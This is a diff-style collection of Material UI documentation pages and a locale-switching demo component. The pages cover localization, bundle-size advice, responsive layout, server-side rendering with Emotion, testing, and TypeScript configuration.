<ThemeProvider theme={themeWithLocale}>
<Autocomplete
options={Object.keys(locales)}
getOptionLabel={(key) => `${key.substring(0, 2)}-${key.substring(2, 4)}`}
style={{ width: 300 }}
value={locale}
disableClearable
onChange={(event, newValue) => {
setLocale(newValue);
}}
renderInput={(params) => (
<TextField {...params} label="Locale" fullWidth />
)}
/>
<TablePagination
count={2000}
rowsPerPage={10}
page={1}
component="div"
onPageChange={() => {}}
/>
</ThemeProvider>
</Box>
);
}

View File

@@ -0,0 +1,47 @@
import * as React from 'react';
import TablePagination from '@mui/material/TablePagination';
import Autocomplete from '@mui/material/Autocomplete';
import Box from '@mui/material/Box';
import TextField from '@mui/material/TextField';
import { createTheme, ThemeProvider, useTheme } from '@mui/material/styles';
import * as locales from '@mui/material/locale';
type SupportedLocales = keyof typeof locales;
export default function Locales() {
const [locale, setLocale] = React.useState<SupportedLocales>('zhCN');
const theme = useTheme();
const themeWithLocale = React.useMemo(
() => createTheme(theme, locales[locale]),
[locale, theme],
);
return (
<Box sx={{ width: '100%' }}>
<ThemeProvider theme={themeWithLocale}>
<Autocomplete
options={Object.keys(locales)}
getOptionLabel={(key) => `${key.substring(0, 2)}-${key.substring(2, 4)}`}
style={{ width: 300 }}
value={locale}
disableClearable
onChange={(event: any, newValue: string | null) => {
setLocale(newValue as SupportedLocales);
}}
renderInput={(params) => (
<TextField {...params} label="Locale" fullWidth />
)}
/>
<TablePagination
count={2000}
rowsPerPage={10}
page={1}
component="div"
onPageChange={() => {}}
/>
</ThemeProvider>
</Box>
);
}

View File

@@ -0,0 +1,111 @@
# Localization
<p class="description">Localization (also referred to as "l10n") is the process of adapting a product or content to a specific locale or market.</p>
The default locale of Material UI is English (United States). If you want to use other locales, follow the instructions below.
## Locale text
Use the theme to configure the locale text globally:
```jsx
import { createTheme, ThemeProvider } from '@mui/material/styles';
import { zhCN } from '@mui/material/locale';
const theme = createTheme(
{
palette: {
primary: { main: '#1976d2' },
},
},
zhCN,
);
<ThemeProvider theme={theme}>
<App />
</ThemeProvider>;
```
### Example
{{"demo": "Locales.js"}}
:::warning
The [Data Grid and Data Grid Pro](/x/react-data-grid/) components have their own [localization](/x/react-data-grid/localization/).
:::
### Supported locales
| Locale | BCP 47 language tag | Import name |
| :---------------------- | :------------------ | :---------- |
| Amharic | am-ET | `amET` |
| Arabic (Egypt) | ar-EG | `arEG` |
| Arabic (Saudi Arabia) | ar-SA | `arSA` |
| Arabic (Sudan) | ar-SD | `arSD` |
| Armenian | hy-AM | `hyAM` |
| Azerbaijani | az-AZ | `azAZ` |
| Bangla | bn-BD | `bnBD` |
| Bulgarian | bg-BG | `bgBG` |
| Catalan | ca-ES | `caES` |
| Chinese (Hong Kong) | zh-HK | `zhHK` |
| Chinese (Simplified) | zh-CN | `zhCN` |
| Chinese (Taiwan) | zh-TW | `zhTW` |
| Croatian | hr-HR | `hrHR` |
| Czech | cs-CZ | `csCZ` |
| Danish | da-DK | `daDK` |
| Dutch | nl-NL | `nlNL` |
| English (United States) | en-US | `enUS` |
| Estonian | et-EE | `etEE` |
| Finnish | fi-FI | `fiFI` |
| French | fr-FR | `frFR` |
| German | de-DE | `deDE` |
| Greek | el-GR | `elGR` |
| Hebrew | he-IL | `heIL` |
| Hindi | hi-IN | `hiIN` |
| Hungarian | hu-HU | `huHU` |
| Icelandic | is-IS | `isIS` |
| Indonesian | id-ID | `idID` |
| Italian | it-IT | `itIT` |
| Japanese | ja-JP | `jaJP` |
| Khmer | kh-KH | `khKH` |
| Kazakh | kk-KZ | `kkKZ` |
| Korean | ko-KR | `koKR` |
| Kurdish (Central) | ku-CKB | `kuCKB` |
| Macedonian | mk-MK | `mkMK` |
| Myanmar | my-MY | `myMY` |
| Malay | ms-MS | `msMS` |
| Nepali | ne-NP | `neNP` |
| Norwegian (bokmål) | nb-NO | `nbNO` |
| Norwegian (nynorsk) | nn-NO | `nnNO` |
| Pashto (Afghanistan) | ps-AF | `psAF` |
| Persian | fa-IR | `faIR` |
| Polish | pl-PL | `plPL` |
| Portuguese | pt-PT | `ptPT` |
| Portuguese (Brazil) | pt-BR | `ptBR` |
| Romanian | ro-RO | `roRO` |
| Russian | ru-RU | `ruRU` |
| Serbian | sr-RS | `srRS` |
| Sinhalese | si-LK | `siLK` |
| Slovak | sk-SK | `skSK` |
| Spanish | es-ES | `esES` |
| Swedish | sv-SE | `svSE` |
| Thai | th-TH | `thTH` |
| Turkish | tr-TR | `trTR` |
| Tagalog | tl-TL | `tlTL` |
| Ukrainian | uk-UA | `ukUA` |
| Urdu (Pakistan) | ur-PK | `urPK` |
| Vietnamese | vi-VN | `viVN` |
<!-- #target-branch-reference -->
You can [find the source](https://github.com/mui/material-ui/blob/master/packages/mui-material/src/locale/index.ts) in the GitHub repository.
To create your own translation, or to customize the English text, copy this file to your project, make any changes needed and import the locale from there.
Please do consider contributing new translations back to Material UI by opening a pull request.
However, Material UI aims to support the [100 most common](https://en.wikipedia.org/wiki/List_of_languages_by_number_of_native_speakers) [locales](https://www.ethnologue.com/insights/ethnologue200/), we might not accept contributions for locales that are not frequently used, for instance `gl-ES` that has "only" 2.5 million native speakers.
## RTL Support
Right-to-left languages such as Arabic, Persian, Hebrew, Kurdish, and others are supported.
Follow [this guide](/material-ui/customization/right-to-left/) to use them.

View File

@@ -0,0 +1,88 @@
# Minimizing bundle size
<p class="description">Learn how to reduce your bundle size and improve development performance by avoiding costly import patterns.</p>
## Bundle size matters
Material UI's maintainers take bundle size very seriously. Size snapshots are taken on every commit for every package and critical parts of those packages. Combined with [dangerJS](https://danger.systems/js/), we can inspect [detailed bundle size changes](https://github.com/mui/material-ui/pull/14638#issuecomment-466658459) on every Pull Request.
## Avoid barrel imports
Modern bundlers already tree-shake unused code in production builds, so you don't need to worry about it when using top-level imports. The real performance concern is during **development**, where **barrel imports** like `@mui/material` or `@mui/icons-material` can cause significantly **slower startup and rebuild times**.
```js
// ✅ Preferred
import Button from '@mui/material/Button';
import TextField from '@mui/material/TextField';
```
Instead of:
```js
// ❌ Slower in dev
import { Button, TextField } from '@mui/material';
```
This is especially true when using `@mui/icons-material`, where named imports can be up to six times slower than default path-based imports:
```js
// 🐌 Slower in dev
import { Delete } from '@mui/icons-material';
// 🚀 Faster in dev
import Delete from '@mui/icons-material/Delete';
```
This approach avoids loading unnecessary parts of the package and does not require any special configuration. It is also the default used in all our official examples and demos.
If you have existing barrel imports in your codebase, use the `path-imports` [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod/README.md#path-imports) below to migrate your code:
```bash
npx @mui/codemod@latest v5.0.0/path-imports <path>
```
## Enforce best practices with ESLint
To prevent accidental deep imports, you can use the `no-restricted-imports` rule in your ESLint configuration:
```json
// .eslintrc
{
"rules": {
"no-restricted-imports": [
"error",
{
"patterns": [{ "regex": "^@mui/[^/]+$" }]
}
]
}
}
```
## Avoid VS Code auto-importing from barrel files
To prevent VS Code from automatically importing from `@mui/material`, you can use the `typescript.autoImportSpecifierExcludeRegexes` in the VS Code project configuration:
```json
// .vscode/settings.json
{
"typescript.preferences.autoImportSpecifierExcludeRegexes": ["^@mui/[^/]+$"]
}
```
## Using Next.js 13.5 or later?
If you're on **Next.js 13.5 or newer**, you're in good hands. These versions include automatic import optimization via the `optimizePackageImports` option. This removes the need for manual configuration or Babel plugins to optimize imports.
## Using parcel
Parcel, by default, doesn't resolve package.json `"exports"`. This makes it always resolve to the commonjs version of our library. To make it optimally make use of our ESM version, make sure to [enable the `packageExports` option](https://parceljs.org/features/dependency-resolution/#enabling-package-exports).
```json
// ./package.json
{
"@parcel/resolver-default": {
"packageExports": true
}
}
```

View File

@@ -0,0 +1,11 @@
# Responsive UI
<p class="description">Material Design layouts encourage consistency across platforms, environments, and screen sizes by using uniform elements and spacing.</p>
[Responsive layouts](https://m2.material.io/design/layout/responsive-layout-grid.html) in Material Design adapt to any possible screen size.
We provide the following helpers to make the UI responsive:
- [Grid](/material-ui/react-grid/): The Material Design responsive layout grid adapts to screen size and orientation, ensuring consistency across layouts.
- [Container](/material-ui/react-container/): The container centers your content horizontally. It's the most basic layout element.
- [Breakpoints](/material-ui/customization/breakpoints/): API that enables the use of breakpoints in a wide variety of contexts.
- [useMediaQuery](/material-ui/react-use-media-query/): This is a CSS media query hook for React. It listens for matches to a CSS media query.

View File

@@ -0,0 +1,217 @@
# Server rendering
<p class="description">The most common use case for server-side rendering is to handle the initial render when a user (or search engine crawler) first requests your app.</p>
When the server receives the request, it renders the required component(s) into an HTML string and then sends it as a response to the client.
From that point on, the client takes over rendering duties.
## Material UI on the server
Material UI was designed from the ground-up with the constraint of rendering on the server, but it's up to you to make sure it's correctly integrated.
It's important to provide the page with the required CSS, otherwise the page will render with just the HTML then wait for the CSS to be injected by the client, causing it to flicker (FOUC).
To inject the style down to the client, we need to:
1. Create a fresh, new [`emotion cache`](https://emotion.sh/docs/@emotion/cache) instance on every request.
2. Render the React tree with the server-side collector.
3. Pull the CSS out.
4. Pass the CSS along to the client.
On the client-side, the CSS will be injected a second time before removing the server-side injected CSS.
## Setting up
In the following recipe, we are going to look at how to set up server-side rendering.
### The theme
Create a theme that will be shared between the client and the server:
```js title="theme.js"
import { createTheme } from '@mui/material/styles';
import { red } from '@mui/material/colors';
// Create a theme instance.
const theme = createTheme({
palette: {
primary: {
main: '#556cd6',
},
secondary: {
main: '#19857b',
},
error: {
main: red.A400,
},
},
});
export default theme;
```
### The server-side
The following is the outline for what the server-side is going to look like.
We are going to set up an [Express middleware](https://expressjs.com/en/guide/using-middleware.html) using [app.use](https://expressjs.com/en/api.html) to handle all requests that come into the server.
If you're unfamiliar with Express or middleware, know that the `handleRender` function will be called every time the server receives a request.
```js title="server.js"
import express from 'express';
// We are going to fill these out in the sections to follow.
function renderFullPage(html, css) {
/* ... */
}
function handleRender(req, res) {
/* ... */
}
const app = express();
// This is fired every time the server-side receives a request.
app.use(handleRender);
const port = 3000;
app.listen(port);
```
### Handling the request
The first thing that we need to do on every request is to create a new `emotion cache`.
When rendering, we will wrap `App`, the root component,
inside a [`CacheProvider`](https://emotion.sh/docs/cache-provider) and [`ThemeProvider`](https://v6.mui.com/system/styles/api/#themeprovider) to make the style configuration and the `theme` available to all components in the component tree.
The key step in server-side rendering is to render the initial HTML of the component **before** we send it to the client-side. To do this, we use [ReactDOMServer.renderToString()](https://react.dev/reference/react-dom/server/renderToString).
Material UI uses Emotion as its default styled engine.
We need to extract the styles from the Emotion instance.
For this, we need to share the same cache configuration for both the client and server:
```js title="createEmotionCache.js"
import createCache from '@emotion/cache';
export default function createEmotionCache() {
return createCache({ key: 'css' });
}
```
With this we are creating a new Emotion cache instance and using this to extract the critical styles for the HTML as well.
We will see how this is passed along in the `renderFullPage` function.
```jsx
import express from 'express';
import * as React from 'react';
import * as ReactDOMServer from 'react-dom/server';
import CssBaseline from '@mui/material/CssBaseline';
import { ThemeProvider } from '@mui/material/styles';
import { CacheProvider } from '@emotion/react';
import createEmotionServer from '@emotion/server/create-instance';
import App from './App';
import theme from './theme';
import createEmotionCache from './createEmotionCache';
function handleRender(req, res) {
const cache = createEmotionCache();
const { extractCriticalToChunks, constructStyleTagsFromChunks } =
createEmotionServer(cache);
// Render the component to a string.
const html = ReactDOMServer.renderToString(
<CacheProvider value={cache}>
<ThemeProvider theme={theme}>
{/* CssBaseline kickstart an elegant, consistent, and simple baseline
to build upon. */}
<CssBaseline />
<App />
</ThemeProvider>
</CacheProvider>,
);
// Grab the CSS from emotion
const emotionChunks = extractCriticalToChunks(html);
const emotionCss = constructStyleTagsFromChunks(emotionChunks);
// Send the rendered page back to the client.
res.send(renderFullPage(html, emotionCss));
}
const app = express();
app.use('/build', express.static('build'));
// This is fired every time the server-side receives a request.
app.use(handleRender);
const port = 3000;
app.listen(port);
```
### Inject initial component HTML and CSS
The final step on the server-side is to inject the initial component HTML and CSS into a template to be rendered on the client-side.
```js
function renderFullPage(html, css) {
return `
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>My page</title>
${css}
<meta name="viewport" content="initial-scale=1, width=device-width" />
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link
rel="stylesheet"
href="https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap"
/>
</head>
<body>
<div id="root">${html}</div>
</body>
</html>
`;
}
```
### The client-side
The client-side is straightforward.
All we need to do is use the same cache configuration as the server-side.
Let's take a look at the client file:
```jsx title="client.js"
import * as React from 'react';
import * as ReactDOM from 'react-dom';
import CssBaseline from '@mui/material/CssBaseline';
import { ThemeProvider } from '@mui/material/styles';
import { CacheProvider } from '@emotion/react';
import App from './App';
import theme from './theme';
import createEmotionCache from './createEmotionCache';
const cache = createEmotionCache();
function Main() {
return (
<CacheProvider value={cache}>
<ThemeProvider theme={theme}>
{/* CssBaseline kickstart an elegant, consistent, and simple baseline
to build upon. */}
<CssBaseline />
<App />
</ThemeProvider>
</CacheProvider>
);
}
ReactDOM.hydrateRoot(document.querySelector('#root'), <Main />);
```
## Reference implementations
Here is [the reference implementation of this tutorial](https://github.com/mui/material-ui/tree/HEAD/examples/material-ui-express-ssr).
You can more SSR implementations in the GitHub repository under the `/examples` folder, see [the other examples](/material-ui/getting-started/example-projects/).

View File

@@ -0,0 +1,21 @@
# Testing
<p class="description">Write tests to prevent regressions and write better code.</p>
## Userspace
It's generally recommended to test your application without tying the tests too closely to Material UI.
This is how Material UI components are tested internally.
A library that has a first-class API for this approach is [`@testing-library/react`](https://testing-library.com/docs/react-testing-library/intro/).
For example, when rendering a `TextField` your test should not need to query for the specific Material UI instance of the `TextField` but rather for the `input`, or `[role="textbox"]`.
By not relying on the React component tree you make your test more robust against internal changes in Material UI or, if you need snapshot testing, adding additional wrapper components such as context providers.
We don't recommend snapshot testing though.
["Effective snapshot testing" by Kent C. Dodds](https://kentcdodds.com/blog/effective-snapshot-testing) goes into more details why snapshot testing might be misleading for React component tests.
## Internal
We have **a wide range** of tests for Material UI so we can
iterate with confidence on the components, for instance, the visual regression tests provided by [Argos](https://argos-ci.com) have proven to be really helpful.
To learn more about the internal tests, you can have a look at the [README](https://github.com/mui/material-ui/blob/HEAD/test/README.md).

View File

@@ -0,0 +1,68 @@
# TypeScript
<p class="description">You can add static typing to JavaScript to improve developer productivity and code quality thanks to TypeScript.</p>
## Minimum configuration
<!-- #target-branch-reference -->
Material UI requires a minimum version of TypeScript 4.9. Have a look at the [Vite.js with TypeScript](https://github.com/mui/material-ui/tree/master/examples/material-ui-vite-ts) example.
For types to work, it's recommended that you have at least the following options enabled in your `tsconfig.json`:
```json
{
"compilerOptions": {
"lib": ["es6", "dom"],
"noImplicitAny": true,
"noImplicitThis": true,
"strictNullChecks": true,
"allowSyntheticDefaultImports": true
}
}
```
The strict mode options are the same that are required for every types package
published in the `@types/` namespace.
Using a less strict `tsconfig.json` or omitting some of the libraries might cause errors.
To get the best type experience with the types we recommend setting `"strict": true`.
## Handling `value` and event handlers
Many components concerned with user input offer a `value` prop or event handlers
which include the current `value`. In most situations that `value` is only handled
within React which allows it be of any type, such as objects or arrays.
However, that type cannot be verified at compile time in situations where it depends on the component's children, for example `Select` or `RadioGroup`.
This means that the soundest option is to type it as `unknown` and let the developer decide how they want to narrow that type down.
We do not offer the possibility to use a generic type in those cases for [the same reasons `event.target` is not generic in React](https://github.com/DefinitelyTyped/DefinitelyTyped/issues/11508#issuecomment-256045682).
The demos include typed variants that use type casting.
It is an acceptable tradeoff because the types are all located in a single file and are very basic.
You have to decide for yourself if the same tradeoff is acceptable for you.
The library types are strict by default and loose via opt-in.
## Customization of `Theme`
Moved to [the Customizing the theme page](/material-ui/customization/theming/#custom-variables).
## Complications with the `component` prop
Because of some TypeScript limitations, using the `component` prop can be problematic if you are creating your custom component based on the Material UI's components.
For the composition of the components, you will likely need to use one of these two options:
1. Wrap the Material UI component in order to enhance it
2. Use the `styled()` utility in order to customize the styles of the component
If you are using the first option, take a look at the [composition guide](/material-ui/guides/composition/#with-typescript) for more details.
If you are using the `styled()` utility (regardless of whether it comes from `@mui/material` or `@emotion/styled`), you will need to cast the resulting component as shown below:
```tsx
import Button from '@mui/material/Button';
import { styled } from '@mui/material/styles';
const CustomButton = styled(Button)({
// your custom styles go here
}) as typeof Button;
```